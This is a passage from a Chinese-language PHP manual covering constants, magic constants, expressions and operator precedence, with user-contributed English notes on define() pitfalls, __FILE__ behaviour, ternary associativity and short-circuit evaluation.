   if ($timeout) LogoutUser;  // should be LogoutUser();
}
?>

OOPS!  I don't notice my typo, the SessionCheck function
doesn't work, and it takes me all afternoon to figure out why not!

<?php
LogoutUser;
print "new constant LogoutUser is " . LogoutUser;
?>
ck
27-May-2005 10:23
Re: Storm.
I ran that code (in PHP4)
<?php
if (DEBUG) {
   // echo some sensitive data.
}
?>
 and saw this warning:
"Use of undefined constant DEBUG - assumed 'DEBUG'"

A clearer workaround is to use
<?php
if (defined('DEBUG')) {
   // echo some sensitive data.
}
?>
Thanks for pointing out this big gotcha.

Another reason to turn on warnings during testing.  Good web servers are set up to suppress warning and error output to the browser, so this is handy:
<?php
if (defined('DEBUG')) {
  error_reporting(E_ALL);
  set_error_handler('debug_ErrorHandler');
}
function debug_ErrorHandler($errno, $errstr, $errfile, $errline) {
  print("PHP Error [$errno] [$errstr] at $errline in $errfile.<br>");
}
?>
hafenator2000 at yahoo dot com
22-Apr-2005 05:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm
19-Apr-2005 12:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
Charles
12-Jan-2005 05:50
To clarify from the previous post:

When you define a constant, it becomes fixed at that point and is immutable. You can add variables - but the constant becomes the contents of that variable when the define is evaluated. If you try:

define( "_A_TEXT" , "The value is " . $arr[$i] );

It would be evaluated ONCE with the current value of the $i index of array $arr. As the post pointed out, this is probably not what you want. You can easily create:

define( "_A_TEXT" , "The value is ");
....
echo _A_TEXT . $arr[$i];

Which would give you what you wanted: the constant string with the contents of the array appended.
the_coder at colina2004 dot com
25-Jun-2004 04:42
I'm currently working on a site that has got to have two languages, and I wanted to use define's in functions to make everything simpler.

However, I ran into a problem. PHP doesn't recognize the variable in:
define("constantName", "This is an array variable - {$array[$i][2]}");

I can't use that in a for cycle, like I wanted to:

for ($i = 0; $i < count($array); $i++) {
echo constantName . "<br />"
}

The method I found (I think it's been mentioned before) is to:

define("constantName", "This is an array variable - %s");

And then:

for ($i = 0; $i < count($array); $i++) {
printf(constantName, $array[$i][2]);
}
kumar at farmdev
26-Oct-2003 08:59
before embarking on creating a language system I wanted to see if there was any speed advantage to defining language strings as constants vs. variables or array items.  It is more logical to define language strings as constants but you have more flexibility using variables or arrays in your code (i.e. they can be accessed directly, concatenated, used in quotes, used in heredocs whereas constants can only be accessed directly or concatenated).

Results of the test:
declaring as $Variable is fastest
declaring with define() is second fastest
declaring as $Array['Item'] is slowest

=======================================
the test was done using PHP 4.3.2, Apache 1.3.27, and the ab (apache bench) tool.
100 requests (1 concurrent) were sent to one php file that includes 15 php files each containing 100 unique declarations of a language string.

Example of each declaration ("Variable" numbered 1 - 1500):
<?php
$GLOBALS['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>
<?php
define('Variable1' , "A whole lot of text for this variable as if it were a language string containing a whole lot of text");
?>
<?php
$GLOBALS['CP_Lang']['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>

Here are the exact averages of each ab run of 100 requests (averages based on 6 runs):
variable (24.956 secs)
constant (25.426 secs)
array (28.141)

(not huge differences but good to know that using variables won't take a huge performance hit)
ewspencer at industrex dot com
18-Aug-2003 09:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

define('LOCATOR',  "/locator");
define('CLASSES',  LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',  LOCATOR."/user");

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");

as well as dynamic constructs, typical of value assignment to variables:

$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";

The above convention works for me, and helps produce self-documenting code.

-- Erich
php-comment-2003-july-24 at ryandesign dot de
24-Jul-2003 10:04
Late reply to fmmarzoa at gmx dot net: You're better off using sprintf format and defining your strings like this:

define('strArticleDescr', 'Published by %1$s on %2$s in %2$s');

It's more standard than what you're doing. Then instead of outputting it using an eval, do this:

echo sprintf(strArticleDescr, $article_author, $article_date, $article_lang_name');

And even better for i18n and l10n, don't use defines; use gettext. See the PHP manual section on gettext and the GNU gettext website. Gettext requires some modification of the way you think about strings but I find it worthwhile to make that adjustment.
Mike Powell
25-Mar-2003 12:46
In response to the notes above about variable references in constants, double quotes isn't a proper solution because it parses the variable at the time the constant is defined. The desired behavior is to have the variables parsed at the time the constant is referenced, and this behavior can really only be achieved by using eval(), as described above.
gv (at) damnsw (dot) net
06-Nov-2002 12:08
fmmarzoa: In PHP 4.2.2/CLI, I had no problem setting define()'s to the contents of variables:

<?
   $foo = "PHP";
   define( "bar", "$foo is a good thing." );
   print bar;
?>

Will print "PHP is a good thing.".

A notable difference, however, between my example and yours is your use of single-quotes.  Strings in single quotes (') will not be expanded:

print '$foo';

Will print '$foo', not the contents of $foo.

http://www.php.net/manual/en/language.types.string.php

--gv
alan at akbkhome dot com
24-Mar-2002 01:08
The __FILE__ constant in 4.2rc1 (CLI) will return the location of script specified to be run, rather than the absolute file.

eg. /usr/bin/phpmole (a softlink to /usr/lib/php/phpmole/phpmole.php)

started like this
bash#/usr/bin/phpmole

the line echo __FILE__ in phpmole.php will output /usr/bin/phpmole - in the CGI it would have returned /usr/lib/php/phpmole/phpmole.php

the workaround is to check for links!!
$f = __FILE__;
if (is_link($f)) $f = readlink($f);
katana at katana-inc dot com
26-Feb-2002 03:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.
afuse at yahoo dot com
11-Jun-2001 01:42
The pre-defined constant '__FILE__' does not work in same way at every version of PHP.

Some version of PHP has the relative path, and some other has the absolute path on __FILE__ constant..

Please be carefull in use..

[PS]
I have not tested at all versions of PHP but the version of 4.04pl.. and 4.05 are certainly not working in same way..  If you want to see that bug(?), I can show you an example.
silvein at sonique dot com
24-Jan-2001 09:54
It may be useful to note that, in php4 (what version this started I don't know, but it didn't do it before we upgraded to php4) __FILE__ will follow symlinks to the origional file.
tom dot harris at home dot com
05-Aug-2000 08:44
To get a full path (the equivalent of something like "__PATH__") use
dirname($SCRIPT_FILENAME)
to get the directory name of the called script and
dirname(__FILE__)
to get the directory name of the include file.
add a note add a note

后退 | 起点 | 前进
来自 PHP 之外的变量 | 上一级 | 魔术常量


魔术常量

PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的，只有在加载了这些扩展库时才会出现，或者动态加载后，或者在编译时已经包括进去了。

有五个魔术常量根据它们使用的位置而改变。例如 __LINE__ 的值就依赖于它在脚本中所处的行来决定。这些特殊的常量不区分大小写，如下：

表格 13-1. 几个 PHP 的“魔术常量”

名称 | 说明
__LINE__ | 文件中的当前行号。
__FILE__ | 文件的完整路径和文件名。如果用在包含文件中，则返回包含文件名。自 PHP 4.0.2 起，__FILE__ 总是包含一个绝对路径，而在此之前的版本有时会包含一个相对路径。
__FUNCTION__ | 函数名称（PHP 4.3.0 新加）。自 PHP 5 起本常量返回该函数被定义时的名字（区分大小写）。在 PHP 4 中该值总是小写字母的。
__CLASS__ | 类的名称（PHP 4.3.0 新加）。自 PHP 5 起本常量返回该类被定义时的名字（区分大小写）。在 PHP 4 中该值总是小写字母的。
__METHOD__ | 类的方法名（PHP 5.0.0 新加）。返回该方法被定义时的名字（区分大小写）。

参见 get_class()，get_object_vars()，file_exists() 和function_exists()。

add a note add a note User Contributed Notes
warhog at warhog dot net
19-Dec-2005 05:33
There is another magic constant not mentioned above: __COMPILER_HALT_OFFSET__ - contains where the compiler halted - see http://www.php.net/manual/function.halt-compiler.php for further information.
stalker at NOSPAM dot ruun dot de
17-Dec-2005 05:14
To czabu:
your function can be much more lightweight when you use this:
<?php
function amIincluded() {
  $requestedURL = parse_url($_SERVER['REQUEST_URI']);
  if(basename($requestedURL['path']) != basename(__FILE__))
   return true;
  return false;
}
?>
vijaykoul_007 at rediffmail dot com
22-Sep-2005 12:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
     function doit()
     {
               echo __FUNCTION__;
     }
     function doitagain()
     {
               echo __METHOD__;
     }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain
karl __at__ streetlampsoftware__dot__com
04-Mar-2005 05:39
Note that the magic constants cannot be included in quoted strings.

For instance,
echo "This is the filename: __FILE__";
will return exactly what's typed above.

echo "This is the filename: {__FILE__}";
will also return what's typed above.

The only way to get magic constants to parse in strings is to concatenate them into strings:
echo "This is the filename: ".__FILE__;
csaba at alum dot mit dot edu
03-Mar-2005 08:04
Sometimes you might want to know whether a script is the top level script or whether it has been included.  That could be useful if you want to reuse the routines in another script, but you don't want to separate them out.  Here's a way that seems to be working for me (for both Apache2 module and CLI versions of PHP) on my Win XP Pro system.

By the way, if __FILE__ is within a function call, its value corresponds to the file it was defined in and not the file that it was called from.  Also, I used $script and strtolower instead of realpath because if the script is deleted after inclusion but before realpath is called (which could happen if the test is deferred), then realpath would return empty since it requires an extant file or directory.

Csaba Gabor from Vienna

<?php
if (amIincluded()) return;    // if we're included we only want function defs
function amIincluded() {
//    returns true/false depending on whether the currently
//    executing script is included or not
//    Don't put this function in an include file (duh)!
   $webP = !!$_SERVER['REQUEST_METHOD'];    // a web request?
   $script = preg_replace('/\//',DIRECTORY_SEPARATOR,
                           $_SERVER['SCRIPT_FILENAME']);
   return ($webP) ? (strtolower(__FILE__)!=strtolower($script)) :
           !array_key_exists("_REQUEST", $GLOBALS);
}
?>
lm arobase bible point ch
09-Dec-2004 06:17
in reply to x123 at bestof dash inter:
I believe, this is not a bug, but a feature.
__FILE__ returns the name of the include file, while $PHP_SELF returns the relative name of the main file.
It is then easy to get the file name only with substr(strrchr($PHP_SELF,'/'),1)
claude at NOSPAM dot claude dot nl
18-Jul-2004 11:29
Note that __CLASS__ contains the class it is called in; in lowercase. So the code:

class A
{
   function showclass()
   {
       echo __CLASS__;
   }
}

class B extends A
{
}

$a = new A();
$b = new B();

$a->showclass();
$b->showclass();
A::showclass();
B::showclass();

results in "aaaa";
ulrik
04-Mar-2004 11:44
note that __FUNCTION__ define gives the the function name in lowercase
warhog at warhog dot net
07-Feb-2004 04:49
just to read out the filename of the currently proceeded file use
<?php basename(__FILE__); ?>
hixon at colorado dot edu
16-May-2003 08:21
You can use the following in files that you want to include, but not run directly.  The script will exit if it's run as the top-level script, but will not exit if it's included from another script.  Of course this won't work in the command line mode.

if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  exit;
}
kop at meme dot com
14-Feb-2003 07:34
The keywords TRUE and FALSE (case insensitive), which represent their respective boolean values, are worth noting here.
darwin[at]buchner[dot]net
15-Mar-2002 08:54
As of version 4.0.6, there is also a handy predefined DIRECTORY_SEPARATOR constant which you can use to make you scripts more portatable between OS's with different directory structures.
add a note add a note

后退 | 起点 | 前进
常量 | 上一级 | 表达式


表达式

PHP 手册
后退 前进

章 14. 表达式

表达式是 PHP 最重要的基石。在 PHP 中，几乎所写的任何东西都是一个表达式。简单但却最精确的定义一个表达式的方式就是“任何有值的东西”。

最基本的表达式形式是常量和变量。当键入“$a = 5”，即将值“5”分配给变量 $a。“5”，很明显，其值为 5，换句话说“5”是一个值为 5 的表达式（在这里，“5”是一个整型常量）。

赋值之后，所期待情况是 $a 的值为 5，因而如果写下 $b = $a，期望的是它犹如 $b = 5 一样。换句话说，$a 是一个值也为 5 的表达式。如果一切运行正确，那这正是将要发生的正确结果。

稍微复杂的表达式例子就是函数。例如，考虑下面的函数：

<?php
function foo ()
{
    return 5;
}
?>

假定已经熟悉了函数的概念（如果不是的话，请看一下函数的相关章节），那么键入
$c = foo() 从本质上来说就如写下
$c = 5，这没错。函数也是表达式，表达式的值即为它们的返回值。既然
foo() 返回 5，表达式“foo()”的值也是 5。通常函数不会仅仅返回一个静态值，而可能会计算一些东西。

当然，PHP 中的值常常并非是整型的。PHP 支持四种标量值（标量值不能拆分为更小的单元，例如和数组不同）类型：整型值（integer），浮点数值（float），字符串值（string）和布尔值（boolean）。PHP 也支持两种复合类型：数组和对象。这两种类型具可以赋值给变量或者从函数返回。

PHP 和其它语言一样在表达式的道路上发展，但推进得更深远。PHP 是一种面向表达式的语言，从这一方面来讲几乎一切都是表达式。考虑刚才已经研究过的例子，“$a = 5”。很显然这里涉及到两个值，整型常量 5 的值以及而且变量 $a 的值，它也被更新为 5。但是事实是这里还涉及到一个额外的值，即附值语句本身的值。赋值语句本身求值为被赋的值，即 5。实际上这意味着“$a = 5”，不必管它是做什么的，是一个值为 5 的表达式。因而，这样写“$b = ($a = 5)”和这样写“$a =5; $b=5”（分号标志着语句的结束）是一样的。因为赋值操作的顺序是由右到左的，也可以这么写“$b = $a =5”。

另外一个很好的面向表达式的例子就是前、后递增和递减。PHP 和多数其它语言的用户应该比较熟悉变量 ++ 和变量 -- 符号。即递增和递减运算符。在 PHP/FI 2 中，语句“$a++”没有值（不是表达式），这样的话你便不能为其赋值或者以任何其它方式来使用它。PHP 通过将其变为了表达式，类似 C 语言，增强了递增/递减的能力。在 PHP 和 C 语言 中，有两种类型的递增前递增和后递增，本质上来讲，前递增和后递增均增加了变量的值，并且对于变量的影响是相同的。不同的是递增表达式的值。前递增，写做“++$variable”，求增加后的值（PHP 在读取变量的值之前，增加变量的值，因而称之为“前递增”）。后递增，写做“$variable++”，求变量未递增之前的原始值（PHP 在读取变量的值之后，增加变量的值，因而叫做“后递增”）。

一个常用到表达式类型是比较表达式。这些表达式求值 FALSE 或 TRUE。PHP 支持 >（大于），>=（大于等于），==（等于），!=（不等于），<（小于），<= (小于等于)。PHP 还支持全等运算符 ===（值和类型均相同）和非全等运算符 !==（值或者类型不同）。这些表达式都是在条件判断语句，比如，if 语句中最常用的。

这里，将要研究的最后一个例子是组合的运算赋值表达式。已经知道如果想要为变量 $a 加1，可以简单的写“$a++”或者“++$a”。但是如果想为变量增加大于 1 的值，比如 3，该怎么做？可以多次写“$a++”，但这样明显不是一种高效舒适的方法，一个更加通用的做法是“$a = $a + 3”。“$a + 3”计算 $a 加上 3 的值，并且得到的值重新赋予变量 $a，于是 $a 的值增加了3。在 PHP 及其它几种类似 C 的语言中，可以以一种更加简短的形式完成上述功能，因而也更加清楚快捷。为 $a 的当前值加 3，可以这样写：“$a += 3”。这里的意思是“取变量 $a 的值，加 3，得到的结果再次分配给变量 $a”。除了更简略和清楚外，也可以更快的运行。“$a += 3”的值，如同一个正常赋值操作的值，是赋值后的值。注意它不是 3，而是 $a 的值加上3 之后的值（此值将被赋给 $a）。任何二元运算符都可以用运算赋值模式，例如“$a -= 5”（从变量 $a 的值中减去 5），“$b *= 7”（变量 $b 乘以 7），等等。

还有一个表达式，如果没有在别的语言中看到过的话，可能看上去很奇怪，即三元条件运算符：

$first ? $second : $third

如果第一个子表达式的值是 TRUE（非零），那么计算第二个子表达式的值，其值即为整个表达式的值。否则，将是第三个子表达式的值。

下面的例子一般来说应该有助于理解前、后递增和表达式：

<?php
function double($i)
{
    return $i*2;
}
$b = $a = 5;        /* assign the value five into the variable $a and $b */
$c = $a++;          /* post-increment, assign original value of $a
                       (5) to $c */
$e = $d = ++$b;     /* pre-increment, assign the incremented value of
                       $b (6) to $d and $e */

/* at this point, both $d and $e are equal to 6 */

$f = double($d++);  /* assign twice the value of $d before
                       the increment, 2*6 = 12 to $f */
$g = double(++$e);  /* assign twice the value of $e after
                       the increment, 2*7 = 14 to $g */
$h = $g += 10;      /* first, $g is incremented by 10 and ends with the
                       value of 24. the value of the assignment (24) is
                       then assigned into $h, and $h ends with the value
                       of 24 as well. */
?>

一些表达式可以被当成语句。这时，一条语句的形式是 'expr' ';'，即一个表达式加一个分号结尾。在“$b=$a=5;”中，$a=5 是一个有效的表达式，但它本身不是一条语句。“$b=$a=5;”是一条有效的语句。

最后一件值得提起的事情就是表达式的真值。在许多事件中，大体上主要是在条件执行和循环中，不要专注于表达式中明确的值，反而要注意表达式的值是否是 TRUE 或者 FALSE。常量 TRUE 和 FALSE（大小写无关）是两种可能的 Boolean 值。如果有必要，一个表达式将自动转换为 Boolean。参见类型强制转换一节。

PHP 提供了一套完整强大的表达式，而为它提供完整的文件资料已经超出了本手册的范围。上面的例子应该为你提供了一个好的关于什么是表达式和怎样构建一个有用的表达式的概念。在本手册的其余部分，我们将始终使用 expr 来表示一个有效的 PHP 表达式。

add a note add a note User Contributed Notes
richard at phase4 dot ie
20-Jan-2006 04:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K
21-Oct-2005 09:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
stochnagara at hotmail dot com
19-Aug-2005 08:06
12345alex at gmx dot net 's case is actually handled by the === operator. That's what he needs.

There is also another widely used function. I call it myself is_nil which is true for NULL,FALSE,array() and '', but not for 0 and "0".

function is_nil ($value) {
 return !$value && $value !== 0 && $value !== '0';
}

Another useful function is "get first argument if it is not empty or get second argument otherwise". The code is:

function def ($value, $defaultValue) {
 return is_nil ($value) ? $defaultValue : $value;
}
12345alex at gmx dot net
14-Aug-2005 10:00
this code:
   print array() == NULL ? "True" : "False";
   print " (" . (array() == NULL) . ")\n";

   $arr = array();
   print array() == $arr ? "True" : "False";
   print " (" . (array() == $arr) . ")\n";

   print count(array()) . "\n";
   print count(NULL) . "\n";

will output (on php4 and php5):
   True (1)
   True (1)
   0
   0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
sabinx at gmail dot com
27-Jun-2005 02:25
Pre- and Post-Incrementation, I believe, are important to note and in the correct place. The section deals with the value of an expression. ++$a and $a++ have different values, and both forms have valid uses.

And, because it can be confusing, it is that much more important to note. Although it could be worded better, it does belong.
01-Jun-2005 03:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
27-Apr-2005 10:40
($bb || !$bb)

....2 Be or not 2 to be thats the question ;-)
tom at darlingpet dot com
04-Feb-2005 06:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
stian at datanerd dot net
25-Feb-2003 06:37
The short-circuit feature is indeed intended, and there are two types of evaluators, those who DO short-circuit, and those who DON'T, || / && and | / & respectively.
The latter method is the bitwise operators, but works great with the usual boolean values ( 0/1 )

So if you don't want short-circuiting, try using the | and & instead.

Read more about the bitwise operators here:
http://www.php.net/manual/en/language.operators.bitwise.php
oliver at hankeln-online dot de
07-Aug-2002 09:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers wont remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
php at cotest dot com
18-Jul-2002 02:08
It should probably be mentioned that the short-circuiting of expressions (mentioned in some of the comments above) is often called "lazy evaluation" (in case someone else searches for the term "lazy" on this page and comes up empty!).
Mattias at mail dot ee
25-May-2002 06:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
   myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com
12-Mar-2001 03:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

($val) ? include('true.inc') : include('false.inc');

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com
25-Nov-2000 03:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;
add a note add a note

后退 | 起点 | 前进
魔术常量 | 上一级 | 运算符


运算符

PHP 手册
后退 前进

章 15. 运算符

目录
运算符优先级
算术运算符
赋值运算符
位运算符
比较运算符
错误控制运算符
执行运算符
递增／递减运算符
逻辑运算符
字符串运算符
数组运算符
类型运算符

运算符是可以通过给出的一或多个值（用编程行话来说，表达式）来产生另一个值（因而整个结构成为一个表达式）的东西。所以可以认为函数或任何会返回一个值（例如 print）的结构是运算符，而那些没有返回值的（例如 echo）是别的东西。

有三种类型的运算符。第一种是一元运算符，只运算一个值，例如 !（取反运算符）或 ++（加一运算符）。第二种是有限二元运算符，PHP 支持的大多数运算符都是这种。列表见下节运算符优先级。

第三种是三元运算符：?:。它应该被用来根据一个表达式在另两个表达式中选择一个，而不是用来在两个语句或者程序路线中选择。把整个三元表达式放在扩号里是个很好的主意。

运算符优先级

运算符优先级指定了两个表达式绑定得有多“紧密”。例如，表达式 1 + 5 * 3 的结果是 16 而不是 18 是因为乘号（“*”）的优先级比加号（“+”）高。必要时可以用括号来强制改变优先级。例如：(1 + 5) * 3 的值为 18。如果运算符优先级相同，则使用从左到右的左联顺序。

下表从高到低列出了运算符的优先级。同一行中的运算符具有相同优先级，此时它们的结合方向决定求值顺序。

表格 15-1. 运算符优先级

结合方向 | 运算符 | 附加信息
非结合 | new | new
左 | [ | array()
非结合 | ++ -- | 递增／递减运算符
非结合 | ! ~ - (int) (float) (string) (array) (object) @ | 类型
左 | * / % | 算数运算符
左 | + - . | 算数运算符和字符串运算符
左 | << >> | 位运算符
非结合 | < <= > >= | 比较运算符
非结合 | == != === !== | 比较运算符
左 | & | 位运算符和引用
左 | ^ | 位运算符
左 | | | 位运算符
左 | && | 逻辑运算符
左 | || | 逻辑运算符
左 | ? : | 三元运算符
右 | = += -= *= /= .= %= &= |= ^= <<= >>= | 赋值运算符
左 | and | 逻辑运算符
左 | xor | 逻辑运算符
左 | or | 逻辑运算符
左 | , | 多处用到

左联表示表达式从左向右求值，右联相反。

例子 15-1. 结合方向

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5
?>
使用括号可以增强代码的可读性。

注: 尽管 ! 比 = 的优先级高，PHP 仍旧允许类似如下的表达式：if (!$a = foo())，在此例中 foo() 的输出被赋给了 $a。

add a note add a note User Contributed Notes
dlyons at lyons42 dot com
26-Nov-2005 07:30
Re: Rick on 2-Sep-2005.

Actually, the C equivalent of "$a[$c++]=$b[$c++];" has undefined behavior, and the increments are by no means guaranteed to happen after the assignment in C.  (Search for a discussion of C "sequence points" for details.)
sm
02-Sep-2005 08:15
Note the highly unfortunate difference from Java, which associates the trinary operator right-to-left.

---------------------------- source

function trinaryTest($foo){  // works as you think in Java, but not PHP

   $bar    = $foo > 20
           ? "greater than 20"
           : $foo > 10
               ? "greater than 10"
               : $foo > 5
                   ? "greater than 5"
                   : "not worthy of consideration";
   echo $foo." =>  ".$bar."\n";
}

echo "\n\n\n----trinaryTest\n\n";
trinaryTest(21);
trinaryTest(11);
trinaryTest(6);
trinaryTest(4);

function trinaryTestParens($foo){

   $bar    = $foo > 20
           ? "greater than 20"
           : ($foo > 10
               ? "greater than 10"
               : ($foo > 5
                   ? "greater than 5"
                   : "not worthy of consideration"));
   echo $foo." =>  ".$bar."\n";
}

echo "\n\n\n----trinaryTestParens\n\n";
trinaryTestParens(21);
trinaryTestParens(11);
trinaryTest(6);
trinaryTestParens(4);

---------------------------- output
----trinaryTest

21 =>  greater than 5
11 =>  greater than 5
6 =>  greater than 5
4 =>  not worthy of consideration

----trinaryTestParens

21 =>  greater than 20
11 =>  greater than 10
6 =>  greater than 5
4 =>  not worthy of consideration
rick at nomorespam dot fourfront dot ltd dot uk
02-Sep-2005 06:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
kit dot lester at lycos dot co dot uk
22-Aug-2005 08:38
D'oh! please ignore (& forgive) the first paragraph in my note yesterday - I said that a diadic operator had the same precedence & associativity as a bunch of monadics. A bit of early senility must have struck me.

When I find time I'll rework my test to find out what I should have said - but using instanceof monadically didn't cause any visible errors in the test, so it could take a while.

[I'd be delighted if someone else beats me to it/ spares me the difficulties of seeing what's wrong in something that shouldn't have worked.]
kit dot lester at lycos do co dot uk
22-Aug-2005 12:21
Table 15-1 omits the precedence of instanceof - testing suggests it to be of the same precedence as not, negate, casting, and @.

The table also omits the precedence (and associativity) of the "execution operator" - but since that's a sort of quoting, I don't think it meaningfully has a precedence or associativity - they explain what is to happen where there's an open-endedness in the sense of missing brackets, and the quoting is a sort of bracket. (At least: because of the execution operator's double-ended closedness, I can't figure out any code where it would matter, so I can't test it.)
webmaster AT cafe-clope DOT net
12-Aug-2005 03:47
I regularly use some syntax like :

<?php
if(!$myvar)
  $myvar = $value ;
?>

and

<?php
if($myvar)
  echo "myvar is $myvar today" ;
?>

(or <?php echo ($myvar ? "myvar is $myvar today" : "") ?>)

It's small, but can become heavy when used too much.
Isn't there some trick to better such syntaxes ?
I was wondering about using things like :

<?php $myvar ||= $value ; ?>
<?php $myvar ?= $value ; ?>
<?php echo ($myvar ? "myvar is $myvar today") ; ?>
edwardsbc at yahoo dot com
05-May-2005 01:26
In response to npeelman at cfl dot rr dot com
29-Dec-2004 06:22:

You have misunderstood the behaviour of the interpreter.

With out the curly braces and the single quoted key identifier, the interpreter "assumes" you meant your CONSTANT to be a string.  This ONLY works within a parsed (double quoted) string.  And it doesn't help you at all if your array is multi-dimensional. I consider this a very bad habbit because it will get you in trouble elsewhere. Try the following:

<?php
define('item','AnyOldThing');
define('b',12);

$arr['item']['b'] = 'string';
$arr['AnyOldThing'][12]= 'Maybe not what I intended.';

echo "This is a {$arr['item']['b']}"; // [1] prints "This is a string".
echo "This is a $arr[item][b]"; // [2] broken
echo $arr[item][b]; // [3] broken
?>
npeelman at cfl dot rr dot com
29-Dec-2004 07:22
Update to message by yasuo_ohgaki at hotmail dot com:

  I know this is an old message but when using an Associative array in a string you do not have to use { and  } to resolve ambiguity.

ex:

Associative Array in string:

